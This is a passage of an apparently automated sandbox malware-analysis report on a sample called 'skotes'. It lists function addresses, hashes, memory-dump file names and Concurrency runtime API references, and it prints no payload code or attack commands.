Opcode Fuzzy Hash: e6e6221c99c5661f0c5c65425f7f2c1b0483fc88511725f954c9e0a61e4210d7
Instruction Fuzzy Hash: 9BF0F6AB24D2006DE10286917B64BFB67ADEBC27317708873F402CB643E7D81A0E2631

Function 04EA01B1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feca6505d750a9ab97326091a33ffc283ed2dda2f9962667f042f2b373f33f91
Instruction ID: 620a2cb94a6dd08c16b49b6f62abed7ff83629e2d62f7e287a1273be79fee996
Opcode Fuzzy Hash: feca6505d750a9ab97326091a33ffc283ed2dda2f9962667f042f2b373f33f91
Instruction Fuzzy Hash: 85F046A66083019BE2039FA185841FA77E6AF57624BB02578F403CF342F9F0B815A711

Function 04EA01A7 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f81c0201ab6058d82035c27f7aed94d15669fe2d033da2ac7ff9ef620ba5238
Instruction ID: 4325c078efc839ea87993c268093b63bb8bfa5def3bf981e9b8b3573a817fbb2
Opcode Fuzzy Hash: 1f81c0201ab6058d82035c27f7aed94d15669fe2d033da2ac7ff9ef620ba5238
Instruction Fuzzy Hash: D1F024A62083009FD1434FE155841FABA96AF17A34B702560B407CF382F5F47D25B612

Function 04EA01C4 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2b9c9c55ec7888dcce53dbbe4ea92afe7c92def6dddc1b1095e2ba7035e7d6
Instruction ID: ec640d72d8a0a783c60fe4733a65775260b7cec93d5214bf28228a5a75d42b63
Opcode Fuzzy Hash: 4b2b9c9c55ec7888dcce53dbbe4ea92afe7c92def6dddc1b1095e2ba7035e7d6
Instruction Fuzzy Hash: 86F024A62487019FE1034EA49AD41FDB7A5AB17538BB06961E407CF342EAA0B916A712

Function 04EA01EE Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25819be0973680738643554eb9aaf59e36f39503f13729eee73276a652ffddc4
Instruction ID: b25211adbb06b92c86f68641b2f7eab24b39a4ec0790d60be2463b78a666440a
Opcode Fuzzy Hash: 25819be0973680738643554eb9aaf59e36f39503f13729eee73276a652ffddc4
Instruction Fuzzy Hash: 4AF059A22443019FE2035FA084812FCB7A2EF56B287701974E407CF383E6B9BC129751

Function 04EA01E0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd131fbdcac4cd5fa0ebbc6a32305de243b84a8aa4aca4d2212d2971a4dd181
Instruction ID: 8f24d83a177dd61d2f7f7952cf80ee3adf265ed41321fe126f4f36bf1b551757
Opcode Fuzzy Hash: 1cd131fbdcac4cd5fa0ebbc6a32305de243b84a8aa4aca4d2212d2971a4dd181
Instruction Fuzzy Hash: BBF027A62087008BE2035BD095911F9B7D19F06524BB01575F406CB342E9F46C15AB12

Function 04EA0218 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0b6adbb8472bb0be0d71eddef6d65d156ca2691376d0a872d751f300d9e65bd
Instruction ID: a344ebd6e28c95e52ee5e3931250d608a2702ac247d341e63dfe6993d647f74d
Opcode Fuzzy Hash: f0b6adbb8472bb0be0d71eddef6d65d156ca2691376d0a872d751f300d9e65bd
Instruction Fuzzy Hash: C0D05BA66093015ED5435AD152900797AE1EF471353B055F5B402CF342FDE46D057711

Function 04EA0221 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2994820087.0000000004EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4ea0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a18cba065d0a3cd4ed14de1356743314917c6c96d62c10d5c0d4bb164cbd9a14
Instruction ID: a3052bbf827ecd4218d48253158ac1fea39a7fad23247e35ddff2b2503374c7d
Opcode Fuzzy Hash: a18cba065d0a3cd4ed14de1356743314917c6c96d62c10d5c0d4bb164cbd9a14
Instruction Fuzzy Hash: 7BD097DB94830215820326E001D20B8798AAB4B0353B114B1B803DB383FCC8AD0A2386

Non-executed Functions

Function 001A0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001A0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001A0F62

Part of subcall function 001A265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 001A2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 001A0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001A0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001A103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 001A106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 001A10C1

Strings

(, xrefs: 001A0F22

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 4de1a6a1c114fac8a97006ebd5ec3d8e3379cbee48273e946e255be1f642e6b1
Instruction ID: e27a0417d18b119ad7874763a4d973015176480337c894cfa814e145f077d965
Opcode Fuzzy Hash: 4de1a6a1c114fac8a97006ebd5ec3d8e3379cbee48273e946e255be1f642e6b1
Instruction Fuzzy Hash: 4DB17CB8A00615EFDB29CF68D990A7EB7B6FF49304F15816DE905AB641D330ED80CB90

Function 001A1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001A2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 001A2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 001A1614

Part of subcall function 001A2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 001A2E39
Part of subcall function 001A2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 001A2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 001A1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001A17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001A17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 001A17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 001A180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 001A181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 001A1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 001A183B

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 3733e24def939d8df06be235ef132d5ec86a0b587d38de892765aed573798934
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 88815879E00225AFCB19CFA8C590ABDB7B6BF49304F1546ADD449AB701C770AD52CB84

Function 001AEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001AEC81

Part of subcall function 001A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 001A8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001AECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 001AECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 001AED0C

Part of subcall function 001AE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001AE7D7
Part of subcall function 001AE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001AE86F
Part of subcall function 001AE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001AE879
Part of subcall function 001AE7AF: Concurrency::location::_Assign.LIBCMT ref: 001AE8AD
Part of subcall function 001AE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001AE8B5

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 23d119e89c6cf51ec6fa0d8c5edc08eb4324eaa10eec9da9067c7590d7736247
Instruction ID: 8ed3e96eb4a2f68822196dfed6010946183dd42202de260e1ceeebd3f0a48e3f
Opcode Fuzzy Hash: 23d119e89c6cf51ec6fa0d8c5edc08eb4324eaa10eec9da9067c7590d7736247
Instruction Fuzzy Hash: 5F51B335A01205EFCF14EFA0C895BADB7B5EF45310F154069E9067B396CB70AE05CBA1

Function 0019CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0019CBAA

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
